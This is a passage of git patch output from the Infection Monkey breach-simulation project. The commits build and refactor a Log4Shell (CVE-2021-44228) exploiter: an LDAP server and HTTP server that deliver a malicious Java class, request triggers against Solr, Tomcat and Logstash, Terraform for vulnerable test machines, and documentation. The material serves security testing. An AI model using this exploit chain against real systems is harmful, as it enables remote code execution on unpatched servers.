    + + + + + @@ -1289,7 +1349,7 @@ Update all requirements using deployment script:

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 05cc05048..b5a2fbee7 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -77,6 +77,22 @@ data "google_compute_image" "powershell-3-45" { name = "powershell-3-45" project = local.monkeyzoo_project } +data "google_compute_image" "log4j-solr-49" { + name = "log4j-solr-49" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-solr-50" { + name = "log4j-solr-50" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-tomcat-51" { + name = "log4j-tomcat-51" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-solr-50" { + name = "log4j-solr-50" + project = local.monkeyzoo_project +} data "google_compute_image" "weblogic-18" { name = "weblogic-18" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 4b64b4a31..c545af20c 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -418,6 +418,36 @@ resource "google_compute_instance_from_template" "log4j-solr-50" { } } +resource "google_compute_instance_from_template" "log4j-tomcat-51" { + name = "${local.resource_prefix}log4j-tomcat-51" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-tomcat-51.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.51" + } +} + +resource "google_compute_instance_from_template" "log4j-tomcat-52" { + name = "${local.resource_prefix}log4j-tomcat-52" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-tomcat-52.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.52" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From eb10bdaa4ea8eb475bc9b946a9601cbe9bafdbef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:22:01 -0500 Subject: [PATCH 27/87] Agent: Add unit tests for log4shell ldap server tree --- .../exploit/log4shell_utils/test_ldap_server.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py new file mode 100644 index 000000000..99f32eb18 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py @@ -0,0 +1,13 @@ +from pathlib import Path + +from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN, Tree + + +def test_java_code_base_url(tmp_path): + ip = "172.10.20.30" + port = 9999 + + tree = Tree(ip, port, tmp_path) + ldif_path = Path(tree.path) / f"{EXPLOIT_RDN}.ldif" + with open(ldif_path, "r") as exploit_dit: + assert f"javaCodeBase: http://{ip}:{port}/" in exploit_dit.read() From 64827ac589f6122215db050cee1b29a44730d876 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:30:55 -0500 Subject: [PATCH 28/87] Agent: Rename IServiceExploiter -> IExploitableService --- .../exploit/log4shell_utils/service_exploiters/__init__.py | 4 ++-- .../{exploitable_service.py => i_service_exploiter.py} | 2 +- .../exploit/log4shell_utils/service_exploiters/poc_docker.py | 4 ++-- .../exploit/log4shell_utils/service_exploiters/solr.py | 4 ++-- .../exploit/log4shell_utils/service_exploiters/tomcat.py | 4 ++-- 5 files changed, 9 insertions(+), 9 deletions(-) rename monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/{exploitable_service.py => i_service_exploiter.py} (87%) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 96823c894..e1b1595d2 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -1,10 +1,10 @@ from typing import List -from .exploitable_service import IExploitableService +from .i_service_exploiter import IServiceExploiter from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit -def get_log4shell_service_exploiters() -> List[IExploitableService]: +def get_log4shell_service_exploiters() -> List[IServiceExploiter]: return [DockerPOCExploit(), SolrExploit(), TomcatExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py similarity index 87% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py rename to monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py index 20a3b92e7..963925e4d 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py @@ -3,7 +3,7 @@ import abc from infection_monkey.model import VictimHost -class IExploitableService(metaclass=abc.ABCMeta): +class IServiceExploiter(metaclass=abc.ABCMeta): @property @abc.abstractmethod def service_name(self) -> str: diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py index ae142eed7..32aba9cec 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py @@ -2,13 +2,13 @@ from logging import getLogger import requests -from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost logger = getLogger(__name__) -class DockerPOCExploit(IExploitableService): +class DockerPOCExploit(IServiceExploiter): service_name = "GoFinance mock application" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 6e6771357..8078a106c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -2,13 +2,13 @@ from logging import getLogger import requests -from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost logger = getLogger(__name__) -class SolrExploit(IExploitableService): +class SolrExploit(IServiceExploiter): service_name = "Apache Solr" @staticmethod diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index bfabdd854..018896207 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -2,13 +2,13 @@ from logging import getLogger import requests -from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost logger = getLogger(__name__) -class TomcatExploit(IExploitableService): +class TomcatExploit(IServiceExploiter): service_name = "Apache Tomcat" @staticmethod From 67ade141a092416061ecac8964be7de63de19695 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:40:51 -0500 Subject: [PATCH 29/87] Agent: Start log4shell java class server on daemon thread --- monkey/infection_monkey/exploit/log4shell.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 3f5ffe886..51fb46de1 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -193,4 +193,8 @@ class Log4ShellExploiter(WebRCE): def get_java_class_server_thread(self, ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class - return Thread(target=self._run_class_http_server, args=[ip]) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + return Thread(target=self._run_class_http_server, args=[ip], daemon=True) From 30c41592fbe644b46e6d615e49fc955ffc72b558 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 Jan 2022 08:50:09 -0500 Subject: [PATCH 30/87] Agent: Remove dependency on threading from LDAPExploitServer --- monkey/infection_monkey/exploit/log4shell.py | 8 ++++++-- .../exploit/log4shell_utils/ldap_server.py | 5 ++--- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 51fb46de1..4ad252204 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -95,8 +95,12 @@ class Log4ShellExploiter(WebRCE): http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) - ldap_thread = self.ldap_server.get_run_thread() - self.ldap_server_thread = ldap_thread + + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self.ldap_server_thread = Thread(target=self.ldap_server.run, daemon=True) self.ldap_server_thread.start() def stop_servers(self): diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 8cad3fba3..f575f20cc 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,6 +1,5 @@ import tempfile from pathlib import Path -from threading import Thread from ldaptor.interfaces import IConnectedLDAPEntry from ldaptor.ldiftree import LDIFTreeEntry @@ -84,8 +83,8 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def get_run_thread(self) -> Thread: - return Thread(target=reactor.run, args=[None]) + def run(self): + reactor.run() def stop(self): reactor.stop() From ab7a47384cbb4f14e56f95373376ee7d7975b250 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 11 Jan 2022 18:23:15 +0100 Subject: [PATCH 31/87] Agent, Island: Add Logstash service to Log4Shell exploit --- .../service_exploiters/__init__.py | 3 ++- .../service_exploiters/logstash.py | 20 +++++++++++++++++++ .../cc/services/config_schema/internal.py | 2 +- 3 files changed, 23 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index e1b1595d2..101db8f24 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -4,7 +4,8 @@ from .i_service_exploiter import IServiceExploiter from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit +from .logstash import LogStashExploit def get_log4shell_service_exploiters() -> List[IServiceExploiter]: - return [DockerPOCExploit(), SolrExploit(), TomcatExploit()] + return [DockerPOCExploit(), SolrExploit(), TomcatExploit(), LogStashExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py new file mode 100644 index 000000000..ae0f93608 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -0,0 +1,20 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class LogStashExploit(IServiceExploiter): + service_name = "LogStash" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" + try: + resp = requests.get(url, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index dff4e8a13..bb6078912 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -129,7 +129,7 @@ INTERNAL = { "type": "array", "uniqueItems": True, "items": {"type": "integer"}, - "default": [80, 8080, 443, 8008, 7001, 9200, 8983], + "default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600], "description": "List of ports the monkey will check if are being used " "for HTTP", }, From b79bf9635967c2b473becb6506d2ccd4e37403ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 Jan 2022 12:53:20 -0500 Subject: [PATCH 32/87] Agent: Don't install signal handlers in LDAPExploitServer This avoids exceptions that are raised when the LDAPExploitServer is not started on the main thread. --- .../infection_monkey/exploit/log4shell_utils/ldap_server.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f575f20cc..e6efac5ff 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -84,7 +84,9 @@ class LDAPExploitServer: log_observer.start() def run(self): - reactor.run() + # For an explaination of installSignalHandlers=0, see + # https://twistedmatrix.com/trac/wiki/FrequentlyAskedQuestions#Igetexceptions.ValueError:signalonlyworksinmainthreadwhenItrytorunmyTwistedprogramWhatswrong + reactor.run(installSignalHandlers=0) def stop(self): reactor.stop() From c51be159b65665180644a20eb663ce67f3df09b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 Jan 2022 13:08:32 -0500 Subject: [PATCH 33/87] Agent: Use classmethods to improve readability of HTTPHandler --- monkey/infection_monkey/exploit/log4shell.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 4ad252204..954555de3 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -168,13 +168,17 @@ class Log4ShellExploiter(WebRCE): class_downloaded = False stop = False - @staticmethod - def reset(): - Log4ShellExploiter.HTTPHandler.class_downloaded = False - Log4ShellExploiter.HTTPHandler.stop = False + @classmethod + def reset(cls): + cls.class_downloaded = False + cls.stop = False + + @classmethod + def set_class_downloaded(cls): + cls.class_downloaded = True def do_GET(self): - Log4ShellExploiter.HTTPHandler.class_downloaded = True + Log4ShellExploiter.HTTPHandler.set_class_downloaded() logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") From f8ac13c164a03cd378afe8181533340883e7e046 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 12 Jan 2022 14:05:17 +0530 Subject: [PATCH 34/87] Island: Add info about Log4Shell to config schema --- .../definitions/exploiter_classes.py | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 90f47f48d..12f5034c6 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,15 +42,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, - # TODO finish description - { - "type": "string", - "enum": ["Log4ShellExploiter"], - "title": "Log4Shell Exploiter", - "safe": True, - "info": "TODO: provide full info.", - "link": "TODO: link to docs", - }, { "type": "string", "enum": ["Ms08_067_Exploiter"], @@ -174,5 +165,16 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey" "/docs/reference/exploiters/powershell", }, + { + "type": "string", + "enum": ["Log4ShellExploiter"], + "title": "Log4Shell Exploiter", + "safe": True, + "info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java " + "logging framework. Exploitation is attempted on the following services — " + "Apache Solr, Apache Tomcat, Logstash.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/log4shell/", + }, ], } From 7fae22e9936ab927ad921029d3899ad4b903df6f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 12 Jan 2022 14:29:38 +0530 Subject: [PATCH 35/87] Docs: Add Log4Shell exploiter page --- .../content/reference/exploiters/Log4Shell.md | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 docs/content/reference/exploiters/Log4Shell.md diff --git a/docs/content/reference/exploiters/Log4Shell.md b/docs/content/reference/exploiters/Log4Shell.md new file mode 100644 index 000000000..c42fc76e6 --- /dev/null +++ b/docs/content/reference/exploiters/Log4Shell.md @@ -0,0 +1,24 @@ +--- +title: "Log4Shell" +date: 2022-01-12T14:07:23+05:30 +draft: false +tags: ["exploit", "linux", "windows"] +--- + +The Log4Shell exploiter exploits [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). + + +### Description + +Some versions of Apache Log4j, a Java logging framework, have a logging feature called “Message Lookup Substitution” enabled by default. This allows replacing certain special strings by dynamically-generated strings at the time of logging. If log messages or log message parameters can be controlled by an attacker, arbitrary code can be executed. The Log4Shell exploiter takes advantage of this vulnerability to propagate to a victim machine. + +To learn about the appropriate mitigations and read more, click [here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). + + +### Services exploited + +The following services are attempted to be exploited: + +- Apache Solr +- Apache Tomcat +- Logstash From b72ad39aa6dc4cc043493ac5f32287d6cf5df128 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 10:53:10 -0500 Subject: [PATCH 36/87] Agent: Invoke reactor.stop() with reactor.callFromThread() --- .../infection_monkey/exploit/log4shell_utils/ldap_server.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index e6efac5ff..f0acac141 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -89,4 +89,7 @@ class LDAPExploitServer: reactor.run(installSignalHandlers=0) def stop(self): - reactor.stop() + # Since `reactor.run()` may not be running on the main thread, reactor.stop() must be + # invoked with reactor.callFromThread() + # https://twistedmatrix.com/documents/12.2.0/core/howto/threading.html + reactor.callFromThread(reactor.stop) From 16219b714b70b53380d2f907f15d34052ccdf405 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:11:20 -0500 Subject: [PATCH 37/87] Agent: Extract Java exploit HTTP server into its own module --- monkey/infection_monkey/exploit/log4shell.py | 95 ++++++------------- .../exploit/log4shell_utils/__init__.py | 1 + .../exploit_class_http_server.py | 60 ++++++++++++ 3 files changed, 91 insertions(+), 65 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 954555de3..41cac7029 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,3 @@ -import http.client -import http.server import logging from threading import Thread from time import sleep @@ -8,6 +6,7 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, + ExploitClassHTTPServer, LDAPExploitServer, build_exploit_bytecode, get_log4shell_service_exploiters, @@ -38,14 +37,17 @@ class Log4ShellExploiter(WebRCE): def __init__(self, host: VictimHost): super().__init__(host) - self._client = None + self.ldap_port = get_free_tcp_port() + + self.class_http_server_ip = get_interface_to_target(self.host.ip_addr) self.class_http_server_port = get_free_tcp_port() - self.ldap_server_thread = None self.ldap_server = None + self.ldap_server_thread = None + self.exploit_class_http_server = None + self.exploit_class_http_server_thread = None self.agent_http_server_thread = None - self.java_class_http_server_thread = None def _exploit_host(self): self.start_servers() @@ -63,9 +65,10 @@ class Log4ShellExploiter(WebRCE): command = self.build_command(paths["dest_path"], agent_http_path) # Start http server to serve malicious java class to victim - class_server_ip = self.start_class_http_server(command) + self.start_class_http_server(command) + # Start ldap server to redirect ldap query to java class server - self.start_ldap_server(class_server_ip) + self.start_ldap_server() def start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. @@ -79,19 +82,25 @@ class Log4ShellExploiter(WebRCE): logger.info("Started http server on %s", http_path) return http_path - def start_class_http_server(self, command: str) -> str: + def start_class_http_server(self, command: str): java_class = self.build_java_class(command) - class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) - self.java_class_http_server_thread = java_class_http_thread - self.java_class_http_server_thread.start() - return class_http_server_ip + self.exploit_class_http_server = ExploitClassHTTPServer( + self.class_http_server_ip, self.class_http_server_port, java_class + ) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self.exploit_class_http_server_thread = Thread( + target=self.exploit_class_http_server.run, daemon=True + ) + self.exploit_class_http_server_thread.start() - def start_ldap_server(self, class_http_server_ip: str): + def start_ldap_server(self): self.ldap_server = LDAPExploitServer( ldap_server_port=self.ldap_port, - http_server_ip=class_http_server_ip, + http_server_ip=self.class_http_server_ip, http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) @@ -104,14 +113,15 @@ class Log4ShellExploiter(WebRCE): self.ldap_server_thread.start() def stop_servers(self): - self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + logger.debug("Stopping all LDAP and HTTP Servers") self.agent_http_server_thread.stop() + self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.java_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + self.exploit_class_http_server.stop() + self.exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self.ldap_server.stop() + self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) @@ -154,55 +164,10 @@ class Log4ShellExploiter(WebRCE): # Wait for request sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - if Log4ShellExploiter.HTTPHandler.class_downloaded: + if self.exploit_class_http_server.exploit_class_downloaded(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } return True return False - - class HTTPHandler(http.server.BaseHTTPRequestHandler): - - java_class: bytes - class_downloaded = False - stop = False - - @classmethod - def reset(cls): - cls.class_downloaded = False - cls.stop = False - - @classmethod - def set_class_downloaded(cls): - cls.class_downloaded = True - - def do_GET(self): - Log4ShellExploiter.HTTPHandler.set_class_downloaded() - logger.info("Java class servergot a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) - - def _run_class_http_server(self, ip): - server = http.server.HTTPServer( - (ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler - ) - while ( - not Log4ShellExploiter.HTTPHandler.class_downloaded - and not Log4ShellExploiter.HTTPHandler.stop - ): - server.handle_request() - - Log4ShellExploiter.HTTPHandler.reset() - - def get_java_class_server_thread(self, ip: str, java_class: bytes): - Log4ShellExploiter.HTTPHandler.java_class = java_class - - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - return Thread(target=self._run_class_http_server, args=[ip], daemon=True) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index 65b5ebca2..68de2d192 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -6,3 +6,4 @@ from .exploit_builder import ( ) from .ldap_server import LDAPExploitServer from .service_exploiters import get_log4shell_service_exploiters +from .exploit_class_http_server import ExploitClassHTTPServer diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py new file mode 100644 index 000000000..bde6f91fb --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -0,0 +1,60 @@ +import http.server +import logging + +logger = logging.getLogger(__name__) + + +class HTTPHandler(http.server.BaseHTTPRequestHandler): + + java_class: bytes + class_downloaded = False + + @classmethod + def reset(cls): + cls.class_downloaded = False + + @classmethod + def _set_class_downloaded(cls): + cls.class_downloaded = True + + def do_GET(self): + if HTTPHandler.class_downloaded: + self.send_error(429, "Java exploit class has already been downloaded") + return + + HTTPHandler._set_class_downloaded() + logger.info("Java class servergot a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) + + +class ExploitClassHTTPServer: + def __init__(self, ip: str, port: int, java_class: bytes): + logger.debug(f"The Java Exploit class will be served at {ip}:{port}") + + HTTPHandler.java_class = java_class + HTTPHandler.reset() + + self._server = http.server.HTTPServer((ip, port), HTTPHandler) + self._server.socket.settimeout(0.5) + + def run(self): + logger.debug("Starting ExploitClassHTTPServer") + HTTPHandler.reset() + + # while not self.exploit_class_downloaded(): + # self._server.handle_request() + # logger.error("loop") + + self._server.serve_forever() + logger.debug("The Java Exploit class HTTP server has stopped") + + def stop(self): + logger.debug("Stopping the Java Exploit class HTTP server") + self._server.shutdown() + + def exploit_class_downloaded(self) -> bool: + return HTTPHandler.class_downloaded From 8f53a5ccd008cfaf7238e8eb7db21df2e77b27f2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:20:32 -0500 Subject: [PATCH 38/87] Agent: Fix min_range in get_free_tcp_port() get_free_tcp_port() effectively ignored the min_range parameter by using min(1, min_range). This meant that min_range was always 1 (unless a negative value was passed). As ports lower than 1024 are privileged on Linux, this lead to the agent trying to bind to ports that it did not have permission to. By using max(1, min_range), We insure that min_range is always at least 1, but will still use the provided parameter (1024 by default). --- monkey/infection_monkey/network/info.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 7f740eeb2..e262feb19 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -108,14 +108,14 @@ else: return routes -def get_free_tcp_port(min_range=1000, max_range=65535): - start_range = min(1, min_range) +def get_free_tcp_port(min_range=1024, max_range=65535): + min_range = max(1, min_range) max_range = min(65535, max_range) in_use = [conn.laddr[1] for conn in psutil.net_connections()] for i in range(min_range, max_range): - port = randint(start_range, max_range) + port = randint(min_range, max_range) if port not in in_use: return port From 3bbf4f9ac68e3a3762c8e49a4663026d92c86799 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:23:44 -0500 Subject: [PATCH 39/87] Agent: Prefix private methods/variables with _ in Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 84 ++++++++++---------- 1 file changed, 42 insertions(+), 42 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 41cac7029..b46570ba7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -38,69 +38,69 @@ class Log4ShellExploiter(WebRCE): def __init__(self, host: VictimHost): super().__init__(host) - self.ldap_port = get_free_tcp_port() + self._ldap_port = get_free_tcp_port() - self.class_http_server_ip = get_interface_to_target(self.host.ip_addr) + self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) self.class_http_server_port = get_free_tcp_port() - self.ldap_server = None - self.ldap_server_thread = None - self.exploit_class_http_server = None - self.exploit_class_http_server_thread = None - self.agent_http_server_thread = None + self._ldap_server = None + self._ldap_server_thread = None + self._exploit_class_http_server = None + self._exploit_class_http_server_thread = None + self._agent_http_server_thread = None def _exploit_host(self): - self.start_servers() + self._start_servers() try: return self.exploit(None, None) finally: - self.stop_servers() + self._stop_servers() - def start_servers(self): + def _start_servers(self): # Start http server, to serve agent to victims paths = self.get_monkey_paths() - agent_http_path = self.start_agent_http_server(paths) + 